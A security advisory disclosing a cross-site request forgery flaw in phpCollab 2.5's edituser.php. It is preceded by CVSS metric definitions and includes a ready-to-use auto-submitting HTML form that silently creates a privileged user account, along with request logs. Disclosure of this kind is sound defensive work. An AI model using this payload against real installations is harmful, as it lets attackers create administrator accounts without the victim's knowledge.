The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
High
PR
The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
phpCollab CMS 2.5 Cross Site Request ForgeryDocument Title:
===============
phpCollab v2.5 CMS - Privilege Escalate CSRF Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1911
Release Date:
=============
2016-08-17
Vulnerability Laboratory ID (VL-ID):
====================================
1911
Common Vulnerability Scoring System:
====================================
3.3
Product & Service Introduction:
===============================
phpCollab is an open source internet-enabled system for use in projects that require collaboration over the internet. Those organizations,
such as consulting firms, that rely on a division between firm-side and client-side information will benefit most from use of phpCollab.
Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a client-side cross site request forgery vulnerability in the phpCollab v2.5 content management system.
Vulnerability Disclosure Timeline:
==================================
2016-08-17:Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A cross site request forgery vulnerability has been discovered in the official phpCollab v2.5 content management system.
In the absence of security token an attacker could execute arbitrary code in the administrator's browser to have a privileged
access. The vulnerability is located in the edituser.php file in the ./users/ path.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] ./phpcollab/users/
Vulnerable File(s):
[+] edituser.php
Vulnerable Parameter(s):
[+] id
Proof of Concept (PoC):
=======================
Cross site request forgery web vulnerability can be exploited by malicious web application without privileged user account and without user interaction.
To demonstrate safety or reproduce csrf web vulnerability information and follow the steps below to continue provided.
PoC: CSRF Exploitation
<html>
<form accept-charset="UNKNOWN" method="POST" action="http://phpcollab.localhost:8080/phpcollab/users/edituser.php?id=&action=add&PHPSESSID=coflo6ves1ac5e177kf26mg7l7" name="ecDForm"/>
<input type='hidden' name="un" value="VulnLabs">
<input type='hidden' name='fn' value="ZwX" />
<input type='hidden' name='em' value="[email protected]"/>
<input type='hidden' name='pw' value="123123" />
<input type='hidden' name='pwa' value="123123" />
<input type='radio' name='perm' value='1' />
<input type='radio' name='perm' value='2' />
<input type='radio' name='perm' value='3' />
<input type='radio' name='perm' value='4' />
<input type='radio' name='perm' value='5' checked />
<tr class='odd'><td valign='top' class='leftvalue'> </td><td><input type='SUBMIT' value='Sauvegarder' /> </td></tr>
<script>document.forms[0].submit()</script>
</form>
</html>
POST Method
[+] un=VulnLabs&fn=ZwX&em=test%40live.fr&pw=123123&pwa=123123&perm=5
--- PoC Session Logs ---
Status: 200 [OK]
Host: phpcollab.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: __gads=ID=07968e6b89cfb5e9:T=1471277130:S=ALNI_Mb360EnbieGeQ6j0qksVtqioxOo6g; __utma=87180614.471852358.1471277221.1471289573.1471311800.4;
__utmc=87180614; __utmz=87180614.1471311800.4.4.utmcsr=demo.opensourcecms.com|utmccn=(referral)|utmcmd=referral|utmcct=/phpcollab/general/login.php;
PHPSESSID=eo2nfc7bqe68eugsgd7h0ehfh4; _pk_id.2.bb5e=83e7be2d899ec7fc.1471277247.4.1471313737.1471311796.;
_pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1471311796%2C%22http%3A%2F%2Fwww.opensourcecms.com%2Fdemo%2F2%2F336%2FphpCollab%22%5D;
wbTh=e; xwbR=e; _pk_ses.2.bb5e=*; __utmb=87180614.40.10.1471311800; __utmt=1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Security Risk:
==============
The security risk of the remote cross site request forgery vulnerability in the phpcollab application is estimated as medium. (CVSS 3.3)
Credits & Authors:
==================
ZwX - ( http://zwx.fr ) [ http://www.vulnerability-lab.com/show.php?user=ZwX ]
Disclaimer & Information:
=========================
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